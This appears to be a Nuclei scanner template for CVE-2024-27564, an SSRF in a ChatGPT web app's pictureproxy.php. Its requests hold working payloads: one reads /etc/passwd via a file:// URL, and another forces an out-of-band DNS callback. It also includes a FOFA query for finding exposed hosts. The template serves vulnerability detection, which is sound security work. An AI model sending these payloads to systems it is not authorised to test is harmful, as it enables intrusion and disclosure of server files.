nuclei-templates/http/cves/2024/CVE-2024-27564.yaml

41 lines
1.4 KiB
YAML
Raw Normal View History

2024-03-30 06:53:35 +00:00
id: CVE-2024-27564
info:
2024-04-03 04:53:33 +00:00
name: ChatGPT个人专用版 - Server Side Request Forgery
2024-03-30 06:53:35 +00:00
author: DhiyaneshDK
severity: high
description: |
A Server-Side Request Forgery (SSRF) in pictureproxy.php of ChatGPT commit f9f4bbc allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the urlparameter.
reference:
- https://github.com/dirk1983/chatgpt/issues/114
2024-04-03 04:53:33 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2024-27564
2024-03-30 06:53:35 +00:00
metadata:
2024-04-03 04:53:33 +00:00
verified: true
max-request: 2
fofa-query: "title=\"ChatGPT个人专用版\""
2024-04-03 04:53:33 +00:00
tags: cve,cve2024,chatgpt,ssrf,oast,oos,lfi
2024-03-30 06:53:35 +00:00
http:
- method: GET
path:
- "{{BaseURL}}/pictureproxy.php?url=file:///etc/passwd"
- "{{BaseURL}}/pictureproxy.php?url=http://{{interactsh-url}}"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(header, "image/jpeg")
- regex('root:.*:0:0:', body)
condition: and
- type: dsl
dsl:
- contains(interactsh_protocol, "dns")
- contains(header, "image/jpeg")
- status_code == 200
condition: and
# digest: 490a0046304402205ae8c7b8e367577b1052683aa4b48d038bc2308c7299d24c0f6530b33b0ac9af022058dcc4c45ed777943b6e87ac9605afbd095f2bad41f6963d208ad6f85e702375:922c64590222798bb761d5b6d8e72950